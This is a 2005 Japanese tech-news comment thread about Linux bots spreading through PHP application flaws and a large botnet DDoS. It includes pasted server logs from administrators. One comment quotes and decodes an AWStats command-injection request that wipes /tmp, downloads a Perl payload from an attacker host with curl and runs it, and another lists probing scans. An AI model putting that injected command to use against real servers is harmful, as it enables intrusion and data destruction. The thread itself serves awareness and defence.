yooseeによる
2005年12月30日 13時13分の掲載
メンテナンスされていないLinuxサーバほど質が悪いものは無い部門より。
メンテナンスされていないLinuxサーバほど質が悪いものは無い部門より。
あるAnonymous Coward曰く、"日経ITProの記事によると、米SANS InstituteがLinuxに感染するbotを複数確認したと発表したらしい。
多くの場合、phpアプリケーションのセキュリティホールを突いて感染を広げているようで、複数の脆弱性に対する攻撃手段を持ったものが増えているそうだ。
また、同じ記事でNANOGのMLに投稿されたLinuxによるbotnetのDDoS攻撃の報告も紹介されており、それによるとピーク時で6Gb/sものDDoS攻撃のトラフィックを出したという。
実はこの話、海の向こうだけ話ではない。ITProの記事では何故か触れられていないが、このbotnetの指令サーバは日本にホスティングされており、bot感染ホストの一部には日本のサーバが含まれているのだ。botのIPアドレスリストも掲載されているので、自分の関わるサーバが含まれていないか、または含まれていなくても怪しいIRC通信がサーバから行われていないか確認してみよう。"
関連ストーリー
この議論は賞味期限が過ぎたので、保存されている。
新たにコメントを書くことはできない。
perlとかもあるよ (スコア:3, 参考になる)
Re:perlとかもあるよ (スコア:2, 参考になる)
cacti （これも php）の古いヴァージョンのセキュリティホール突っついて、
侵入・クラックするデモを見たときも、wget でダウンロードしてました。
手動でクラックしてるわけではなくて、
スクリプトで流し込んで実行してるから
その手のある意味、姑息な対応策も有効なんでしょうけど、
まー、本質的ではないですね。
＃テクニカルサポートのエンジニアで wget とか lynx を
＃知らない奴が居て、よくそれでやってるナーと感心したことがあります。
親コメント
Re:perlとかもあるよ (スコア:2, 参考になる)
たとえばapacheにこんなログが。
SERVER XX.XXX.XXX.XX - - [20/Sep/2005:08:30:05 +0900] \
"GET //awstats.pl?configdir=|echo%20;cd%20/tmp;\
rm%20-rf%20*;curl%20-O%20http://www.geoXXXXXX.com\
/h4x000r/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;\
echo| HTTP/1.1" 404 472
おそらくこんな感じ?
echo ;
cd /tmp;
rm -rf *;
curl -O http://www.geoXXXXXX.com/h4x000r/a.pl;
perl a.pl;
echo ;
rm -rf a.pl*;
echo |
xmrpc.php(これも毎日来てます)については良く知らないので
どなたかよろしく。
# 合わせ技らしいアタックもブログに書いたはずだけど、どこいった...
親コメント
結局中の人が最大のセキュリティホール (スコア:3, 興味深い)
Linuxを勧める側も、相手をみて勧めるべきか考えた方がいい時期にきているのかも。
＃まあWindowsだってバカには使いこなせない訳だが。
放置されてるだけじゃないの？ (スコア:4, おもしろおかしい)
私「狩人さんは、Linux機を自慢しているのに、どうしていつもWin機をいじってるの？
狩人さんA「それはえろげー♪(sing
狩人さんB「それはえろげー♪(sing
狩人さんA&B「それはえろげが、好・き・だ・か・らさ～♪(chorus
私「なるほどぉ。
親コメント
メンテナンスされていないLinuxサーバほど質が悪いものは無い部門より (スコア:2, すばらしい洞察)
どうメンテナンスすればLinuxサーバが良くなるのかわからない部門が多い事
Re:メンテナンスされていないLinuxサーバほど質が悪いものは無い部門より (スコア:2, 参考になる)
脆弱性が公開されてて、幅広く使われてるのは
phpBB とか Pukiwiki 系ぐらいかな。
phpBB って /. 以上に閲覧しにくいのだけど、なんで海外で流行ってんだろうか。
スレッドフロート型の殆ど見かけないよね。
親コメント
Re:メンテナンスされていないLinuxサーバほど質が悪いものは無い部門より (スコア:3, 参考になる)
リンクや引用など必要最低限のマークアップができる自由度と、（投稿者にとっての）UI のわかりやすさが「ちょうどいいバランス」なんじゃないですかね。ほどよく親しみやすいというか。
ただ、設置したり管理する側から見ると、設計がかなり行き当たりばったりという感があります。
MOD（おそらく module の略）で機能拡張できるのはいいんだけど、内部の実装がちゃんとモジュール化されていないので、module とは名ばかりで実際にはコアファイルの変更が必要なことがほとんどです。
つまり事実上パッチなわけで、おかげでバージョンアップのたびに MOD を入れなおさなければならないことが多々あります。
もうちょっと美しくてセキュアな類似品が出てきたら、わりと勢力図が一変してしまうかも知れません。
# というか、出てきてくれないと困るくらい流行っちゃってる。
[わかってもらうことは難しい。わかってあげることは、もっと難しい。]
親コメント
Re:メンテナンスされていないLinuxサーバほど質が悪いものは無い部門より (スコア:2, 参考になる)
http://pukiwiki.sourceforge.jp/?PukiWiki/Errata
最近のPukiWikiの脆弱性に関する情報はこちらで
公開していますが、内容はどれもXSSに関するもので
「サーバーの侵害」を直接実現する類のものでは
ありません。
問題のあるバージョンと回避策などは記載する通り
ですので、該当するバージョンをお使いの方は
各自対応をお願いします。
(※バージョンが古いから管理者が何もやっていない、
ということにはなりません)
添付ファイル機能の操作 を "第三者に公開すること"
については、XSS脆弱性に関連して、現在では禁止する
ことを推奨しています。(See Errata)
また、現時点でPukiWikiはPEAR XML-RPC パッケージを
使用していませんので、その脆弱性の話題は
関係ありません。
親コメント
結構壮観だな (スコア:2, 興味深い)
このうち何台ぐらいがLinuxだったんだろうねえ
うちのサーバーの場合 (スコア:2, 参考になる)
アプリを探しているのが多いですね。
[client 12.154.116.27] client denied by server configuration: /var/www/empty/awstats
[client 12.173.145.178] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 12.173.145.178] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 12.173.145.178] client denied by server configuration: /var/www/empty/awstats
[client 12.173.145.178] client denied by server configuration: /var/www/empty/blog
[client 12.173.145.178] client denied by server configuration: /var/www/empty/blogs
[client 12.173.145.178] client denied by server configuration: /var/www/empty/drupal
[client 12.173.145.178] client denied by server configuration: /var/www/empty/phpgroupware
[client 12.173.145.178] client denied by server configuration: /var/www/empty/wordpress
[client 12.173.145.178] client denied by server configuration: /var/www/empty/xmlrpc
[client 12.173.145.178] client denied by server configuration: /var/www/empty/xmlrpc.php
[client 12.173.145.178] client denied by server configuration: /var/www/empty/xmlsrv
[client 149.156.116.238] client denied by server configuration: /var/www/empty/Forums
[client 149.156.116.238] client denied by server configuration: /var/www/empty/admin_styles.phpadmin_styles.php
[client 149.156.116.238] client denied by server configuration: /var/www/empty/modules
[client 200.27.221.5] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 200.27.221.5] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 200.27.221.5] client denied by server configuration: /var/www/empty/awstats
[client 200.27.221.5] client denied by server configuration: /var/www/empty/cvs
[client 200.27.221.5] client denied by server configuration: /var/www/empty/index.php
[client 200.27.221.5] client denied by server configuration: /var/www/empty/index2.php
[client 200.27.221.5] client denied by server configuration: /var/www/empty/mambo
[client 219.202.188.32] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 219.202.188.32] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 219.202.188.32] client denied by server configuration: /var/www/empty/awstats
[client 219.202.188.32] client denied by server configuration: /var/www/empty/blog
[client 219.202.188.32] client denied by server configuration: /var/www/empty/blogs
[client 219.202.188.32] client denied by server configuration: /var/www/empty/drupal
[client 219.202.188.32] client denied by server configuration: /var/www/empty/phpgroupware
[client 219.202.188.32] client denied by server configuration: /var/www/empty/wordpress
[client 219.202.188.32] client denied by server configuration: /var/www/empty/xmlrpc
[client 219.202.188.32] client denied by server configuration: /var/www/empty/xmlrpc.php
[client 219.202.188.32] client denied by server configuration: /var/www/empty/xmlsrv
[client 38.116.11.34] client denied by server configuration: /var/www/empty/cvs
[client 38.116.11.34] client denied by server configuration: /var/www/empty/index.php
[client 38.116.11.34] client denied by server configuration: /var/www/empty/index2.php
[client 38.116.11.34] client denied by server configuration: /var/www/empty/mambo
[client 38.116.11.34] client denied by server configuration: /var/www/empty/php
[client 61.19.121.46] client denied by server configuration: /var/www/empty/cvs
[client 61.19.121.46] client denied by server configuration: /var/www/empty/index.php
[client 61.19.121.46] client denied by server configuration: /var/www/empty/index2.php
[client 61.19.121.46] client denied by server configuration: /var/www/empty/mambo
[client 61.19.121.46] client denied by server configuration: /var/www/empty/php
[client 61.220.239.227] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 61.220.239.227] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 61.220.239.227] client denied by server configuration: /var/www/empty/awstats
[client 61.220.239.227] client denied by server configuration: /var/www/empty/blog
[client 61.220.239.227] client denied by server configuration: /var/www/empty/blogs
[client 61.220.239.227] client denied by server configuration: /var/www/empty/drupal
[client 61.220.239.227] client denied by server configuration: /var/www/empty/phpgroupware
[client 61.220.239.227] client denied by server configuration: /var/www/empty/wordpress
[client 61.220.239.227] client denied by server configuration: /var/www/empty/xmlrpc
[client 61.220.239.227] client denied by server configuration: /var/www/empty/xmlrpc.php
[client 61.220.239.227] client denied by server configuration: /var/www/empty/xmlsrv
[client 62.121.128.165] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 62.121.128.165] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 62.121.128.165] client denied by server configuration: /var/www/empty/awstats
[client 62.121.128.165] client denied by server configuration: /var/www/empty/blog
[client 62.121.128.165] client denied by server configuration: /var/www/empty/blogs
[client 62.121.128.165] client denied by server configuration: /var/www/empty/drupal
[client 62.121.128.165] client denied by server configuration: /var/www/empty/phpgroupware
[client 62.121.128.165] client denied by server configuration: /var/www/empty/wordpress
[client 62.121.128.165] client denied by server configuration: /var/www/empty/xmlrpc
[client 62.121.128.165] client denied by server configuration: /var/www/empty/xmlrpc.php
[client 62.121.128.165] client denied by server configuration: /var/www/empty/xmlsrv
[client 62.39.108.225] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 62.39.108.225] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 62.39.108.225] client denied by server configuration: /var/www/empty/awstats
[client 62.39.108.225] client denied by server configuration: /var/www/empty/blog
[client 62.39.108.225] client denied by server configuration: /var/www/empty/blogs
[client 62.39.108.225] client denied by server configuration: /var/www/empty/drupal
[client 62.39.108.225] client denied by server configuration: /var/www/empty/phpgroupware
[client 62.39.108.225] client denied by server configuration: /var/www/empty/wordpress
[client 62.39.108.225] client denied by server configuration: /var/www/empty/xmlrpc
[client 62.39.108.225] client denied by server configuration: /var/www/empty/xmlrpc.php
[client 62.39.108.225] client denied by server configuration: /var/www/empty/xmlsrv
[client 63.150.36.170] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 63.150.36.170] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 63.150.36.170] client denied by server configuration: /var/www/empty/awstats
[client 63.150.36.170] client denied by server configuration: /var/www/empty/blog
[client 63.150.36.170] client denied by server configuration: /var/www/empty/blogs
[client 63.150.36.170] client denied by server configuration: /var/www/empty/drupal
[client 63.150.36.170] client denied by server configuration: /var/www/empty/phpgroupware
[client 63.150.36.170] client denied by server configuration: /var/www/empty/wordpress
[client 63.150.36.170] client denied by server configuration: /var/www/empty/xmlrpc
[client 63.150.36.170] client denied by server configuration: /var/www/empty/xmlrpc.php
[client 63.150.36.170] client denied by server configuration: /var/www/empty/xmlsrv
[client 64.236.104.1] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 64.236.104.1] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 64.236.104.1] client denied by server configuration: /var/www/empty/awstats
[client 64.236.104.1] client denied by server configuration: /var/www/empty/blog
[client 64.236.104.1] client denied by server configuration: /var/www/empty/blogs
[client 64.236.104.1] client denied by server configuration: /var/www/empty/drupal
[client 64.236.104.1] client denied by server configuration: /var/www/empty/phpgroupware
[client 64.236.104.1] client denied by server configuration: /var/www/empty/wordpress
[client 64.236.104.1] client denied by server configuration: /var/www/empty/xmlrpc
[client 64.236.104.1] client denied by server configuration: /var/www/empty/xmlrpc.php
[client 64.236.104.1] client denied by server configuration: /var/www/empty/xmlsrv
[client 66.34.52.10] client denied by server configuration: /var/www/empty/Forums
[client 66.34.52.10] client denied by server configuration: /var/www/empty/admin_styles.phpadmin_styles.php
[client 66.34.52.10] client denied by server configuration: /var/www/empty/modules
[client 68.166.223.248] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 68.166.223.248] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 68.166.223.248] client denied by server configuration: /var/www/empty/awstats
[client 68.166.223.248] client denied by server configuration: /var/www/empty/blog
[client 68.166.223.248] client denied by server configuration: /var/www/empty/blogs
[client 68.166.223.248] client denied by server configuration: /var/www/empty/drupal
[client 68.166.223.248] client denied by server configuration: /var/www/empty/phpgroupware
[client 68.166.223.248] client denied by server configuration: /var/www/empty/wordpress
[client 68.166.223.248] client denied by server configuration: /var/www/empty/xmlrpc
[client 68.166.223.248] client denied by server configuration: /var/www/empty/xmlrpc.php
[client 68.166.223.248] client denied by server configuration: /var/www/empty/xmlsrv
[client 69.134.220.16] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 69.134.220.16] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 69.134.220.16] client denied by server configuration: /var/www/empty/awstats
[client 69.134.220.16] client denied by server configuration: /var/www/empty/blog
[client 69.134.220.16] client denied by server configuration: /var/www/empty/blogs
[client 69.134.220.16] client denied by server configuration: /var/www/empty/drupal
[client 69.134.220.16] client denied by server configuration: /var/www/empty/phpgroupware
[client 69.134.220.16] client denied by server configuration: /var/www/empty/wordpress
[client 69.134.220.16] client denied by server configuration: /var/www/empty/xmlrpc
[client 69.134.220.16] client denied by server configuration: /var/www/empty/xmlrpc.php
[client 69.134.220.16] client denied by server configuration: /var/www/empty/xmlsrv
[client 80.124.140.1] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 80.124.140.1] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 80.124.140.1] client denied by server configuration: /var/www/empty/awstats
[client 80.124.140.1] client denied by server configuration: /var/www/empty/blog
[client 80.124.140.1] client denied by server configuration: /var/www/empty/blogs
[client 80.124.140.1] client denied by server configuration: /var/www/empty/drupal
[client 80.124.140.1] client denied by server configuration: /var/www/empty/phpgroupware
[client 80.124.140.1] client denied by server configuration: /var/www/empty/wordpress
[client 80.124.140.1] client denied by server configuration: /var/www/empty/xmlrpc
[client 80.124.140.1] client denied by server configuration: /var/www/empty/xmlrpc.php
[client 80.124.140.1] client denied by server configuration: /var/www/empty/xmlsrv
[client 80.241.32.21] client denied by server configuration: /var/www/empty/awstats
[client 80.81.122.177] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 80.81.122.177] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 80.81.122.177] client denied by server configuration: /var/www/empty/awstats
[client 80.81.122.177] client denied by server configuration: /var/www/empty/blog
[client 80.81.122.177] client denied by server configuration: /var/www/empty/blogs
[client 80.81.122.177] client denied by server configuration: /var/www/empty/drupal
[client 80.81.122.177] client denied by server configuration: /var/www/empty/phpgroupware
[client 80.81.122.177] client denied by server configuration: /var/www/empty/wordpress
[client 80.81.122.177] client denied by server configuration: /var/www/empty/xmlrpc
[client 80.81.122.177] client denied by server configuration: /var/www/empty/xmlrpc.php
[client 80.81.122.177] client denied by server configuration: /var/www/empty/xmlsrv
[client 82.152.19.1] client denied by server configuration: /usr/lib/cgi-bin/awstats
[client 82.152.19.1] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
[client 82.152.19.1] client denied by server configuration: /var/www/empty/awstats
[client 82.152.19.1] client denied by server configuration: /var/www/empty/blog
[client 82.152.19.1] client denied by server configuration: /var/www/empty/xmlrpc.php
romfffromのコメント設定
AC-2、プラスモデ+3、閾値0、スコアを表示しない(推奨)、高い評価のコメントを親にする
access_logの一部 (スコア:2, 参考になる)
流行っているようですね。
なにをいまさら.... (スコア:1, すばらしい洞察)
IDSとか入れないんか？
Re:なにをいまさら.... (スコア:2, 興味深い)
Linuxで全く同じことが起きている、
ってことだと思いますよ。
それを「Linuxも所詮は糞（ｒｙ」と思うのか、
「Linuxも随分と普及してきたもんだなあ」と思うのかは、
人それぞれだと思いますが。
親コメント
Re:なにをいまさら.... (スコア:2, おもしろおかしい)
# いやービルの支えになる鉄骨までワームにやられてます。
# 一応ワクチンをバラまいときましたが、これは根本的にリフォームしないといつビルが倒壊するか分かりませんよ。
親コメント
Re:ビルなんていうから(スコア:-1, さらにオフトピ) (スコア:2, おもしろおかしい)
親コメント
Re:なにをいまさら.... (スコア:4, 参考になる)
ClamAVのページ [sourceforge.jp]
BitDefender Linux Edition [bitdefender.com]
Linux / FreeBSD / Solaris - AntiVir PersonalEdition Classic [free-av.com]
ルートキット対策なら
chkrootkit [chkrootkit.org]
Rootkit Hunter [rootkit.nl]
# alamo はどこにいったのか見つかりませんでした・・・
パーソナル・ファイアーウォールは iptables がありますし。
Firestarterでファイアウォール設定をGUI化 [atmarkit.co.jp]
で紹介されている、Firestarter 等のGUIフロントエンドもあります。
足りないのはよくまとまっている日本語の情報ページや
「Linux でもセキュリティ・ホールを放置すれば侵入される」という危機感、でしょうかね。
単なる臆病者の Anonymous Cat です。略してACです。
親コメント
念のためにと (スコア:1)
なんと言うか、合格発表とか宝くじの当選番号を調べる気分になった私です。
Xoopsとか狙われそうだし気をつけよう…。
Re:だから、 (スコア:3, 参考になる)
１＞最近Linuxをとりあえず入れとけ的な、右も左も分らない初心者層が増えて来た。
２＞ロクにメンテもされていない常時接続されているLinuxマシンが多くなってきた事も、原因の一つと思われる
３＞どうすれば、こういったユーザ層に対してセキュリティ啓発を出来るか・具体的に（／。読者として）どういった対策を取る事が出来るか・ディストリビューション側に何か働きかける事は無いか（等
親コメント
Re:アホくさ (スコア:2, すばらしい洞察)
ま、確かに原因は PHP アプリケーション側のサニタイズが不十分だってことが多いのですが。
Apache + PHP がデフォルトで動くようになっているディストリビューションがあるわけですから、OS 単位じゃなくてもディストリビューション単位で論じる値打ちはあるかも知れませんよ。
ActiveX に脆弱性がある Windows は……やっぱり危険でしょ？
[わかってもらうことは難しい。わかってあげることは、もっと難しい。]
親コメント
Re:いいかげんで目をさませよ (スコア:1)
# LAN 内では偉い人に怒られてください。
親コメント
Re:いいかげんで目をさませよ (スコア:2, 興味深い)
# LAN 内では偉い人に怒られてください。
LAN内ではかえって偉い人のほうがウイルスやらワームやらに引っかかりやすかったり・・・
どことは言いませんが東証一部上場の大企業の社長さんの私有PCがウイルスに感染していて社内が混乱した経験が・・・
親コメント
Re:アホくさ (スコア:3, すばらしい洞察)
そのような考えを持つ者が周囲にLinuxを推奨しておいて、後の面倒を見ずに中途半端に放置するからこのような事態になっているわけですよね。
LinuxだからとかWindowsだからとかいう問題ではなく、LinuxだってWindowsと同じように狙われていて、現在機能するbotnetが実際にLinuxサーバを用いて作られているという話なのに、すぐイデオロギーの話に摩り替えて誤魔化してしまう。
Linuxサーバに侵入する穴が何なのかはとりあえず横に置いておいて、今回問題なのはLinuxで動作するbotが大量に出回っているということです。
さらに悪いことに、botが動作していて攻撃に使われていると通報を入れても放置されているという状況があるわけです。
もしあなたのような考えを持つエセ管理者が大量にいるとしたら、そして掲載されたbotnetに含まれるサーバ管理者がそのような考えを持っているとしたら、いつ、どこのネットワークが6GbpsのDDoSを喰らっても防ぐことはできないでしょうし、なくならないでしょうね。
もし自分がオリジナルのbotnetを作ろうと思ったら、狙うのはLinux環境だと思います。
探せばbotに使えそうなコードがオープンソースでいくらでもありますし、Windowsと違ってアンチウィルスソフトウェアの導入も少ない上に、固定IPで２４時間運用されているサーバが多いですから。
ところでPHPアプリケーションの脆弱性だけしか考えていないようですが、botnetによる攻撃を確認・調査したProlexic Technologies社のBarrett Lyon氏は、 "We are not sure of the current infection method but it must be a common Redhat Linux vulnerability." と述べています。
おそらく各ゾンビマシン(bot)を逆にスキャンしたのでしょうけど。
親コメント
Re:アホくさ (スコア:1, すばらしい洞察)
きちんと管理できる人であれば、Linuxであろうと、Windowsであろうと安全でしょう。
管理できなければOSを問わず危険だとは思いませんか？
親コメント
Re:LinuxBOXの数 (スコア:2, 参考になる)
Linuxの方に分があるように感じます。
*BSDでも同等の事は出来るんでしょうけど、雑誌やWebで
目に付くのはLinuxの方が多いと思います。
一方で、中古のノートPCにデスクトップ環境を作ろうと、
いくつかのLinuxディストリビューションを試してみましたが
サウンド・ビデオ・PCカード・内蔵無線LANを上手くハンドリング出来るものは
意外に少なく、ダメ元でFreeBSDを入れてみると、かなりマトモに動いてしまったので
デスクトップ用途ならFreeBSDか？とも思ったり。
# サスペンド/レジュームが動かなかったので Ubuntu に落ち着きましたが
親コメント